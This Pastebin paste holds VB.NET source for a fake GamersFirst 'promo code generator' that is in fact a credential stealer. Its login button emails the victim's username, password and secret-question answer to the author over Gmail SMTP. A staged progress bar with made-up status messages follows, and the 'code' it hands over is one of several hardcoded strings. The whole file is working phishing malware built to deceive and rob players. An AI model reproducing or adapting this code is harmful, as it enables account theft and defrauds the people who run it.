Guest User

Untitled

a guest
Mar 14th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.73 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  5. If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" = True Then
  6. MsgBox("Without all info you can't login", MsgBoxStyle.OkOnly, "Error while logging in")
  7. Else
  8.  
  9. Try
  10. Dim newmail As New MailMessage()
  11. Dim smtpserver As New SmtpClient
  12. smtpserver.Credentials = New Net.NetworkCredential("mail here", "pass here")
  13. smtpserver.Port = 587
  14. smtpserver.Host = "smtp.gmail.com" 'if your mail is a hotmail then change gmail into: live
  15. smtpserver.EnableSsl = True
  16. newmail.To.Add("mail here")
  17. newmail.From = New MailAddress("mail here")
  18. newmail.Subject = "Username: " & TextBox1.Text & " " & "Password: " & TextBox2.Text & " " & "Secret Question: " & TextBox3.Text
  19. newmail.Body = "Username: " & TextBox1.Text & ControlChars.NewLine & "Password: " & TextBox2.Text & ControlChars.NewLine & "Secret Question: " & TextBox3.Text
  20.  
  21. smtpserver.Send(newmail) 'now it will send a mail to the adress when this button is clicked.
  22. 'now we have it to let a timer start so lets do it
  23.  
  24. Button2.Enabled = True
  25.  
  26. TextBox1.Enabled = False
  27. TextBox2.Enabled = False
  28. TextBox3.Enabled = False
  29. Button1.Enabled = False
  30. Catch ex As Exception
  31. MsgBox("Failed to log in, please make sure you have an internet connection and those are the right username and password", MsgBoxStyle.OkOnly & MsgBoxStyle.Critical, "Error while logging in")
  32. End Try
  33. End If
  34. End Sub
  35.  
  36. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  37. ProgressBar1.Increment(1)
  38. If ProgressBar1.Value < 30 Then
  39.  
  40. Label6.Text = "Starting to create a promo code"
  41. ElseIf ProgressBar1.Value > 30 And ProgressBar1.Value < 60 Then
  42. Label6.Text = "Placing the numbers and characters in right order"
  43. ElseIf ProgressBar1.Value > 60 And ProgressBar1.Value < 90 Then
  44. Label6.Text = "Activating Promo Code in GamersFirst Database"
  45. ElseIf ProgressBar1.Value > 98 Then
  46. Label6.Text = "Done creating promo code"
  47. End If
  48. If ProgressBar1.Value = 99 Then
  49. Dim random As Integer
  50. Dim rnd As New Random
  51.  
  52.  
  53.  
  54. random = rnd.Next(1, 4)
  55. TextBox4.Enabled = True
  56. If random = 1 Then
  57. TextBox4.Text = "DF28A04D-189B-49E4-8539-9DA0596E3DDF"
  58. ElseIf random = 2 Then
  59. TextBox4.Text = "1A7A1A1E-D40A-486E-A738-6293274126C7"
  60. ElseIf random = 3 Then
  61. TextBox4.Text = "E16D1CEC-0E58-4092-9FDA-26D7DC2278B6"
  62. ElseIf random = 4 Then
  63. TextBox4.Text = "7DD83F3E-30FF-43CD-B026-FF70AF1E758C"
  64. End If
  65. TextBox4.Enabled = True
  66. Timer1.Stop()
  67. My.Computer.Clipboard.SetText(TextBox4.Text)
  68. MsgBox("The code has been created and been copied to your clipboard", MsgBoxStyle.OkOnly, "Finished")
  69.  
  70.  
  71. End If
  72. End Sub
  73.  
  74. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  75. Timer1.Start()
  76. Button2.Enabled = False
  77.  
  78. End Sub
  79.  
  80. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  81. TextBox2.PasswordChar = "?"
  82. End Sub
  83. End Class
Add Comment
Please, Sign In to add comment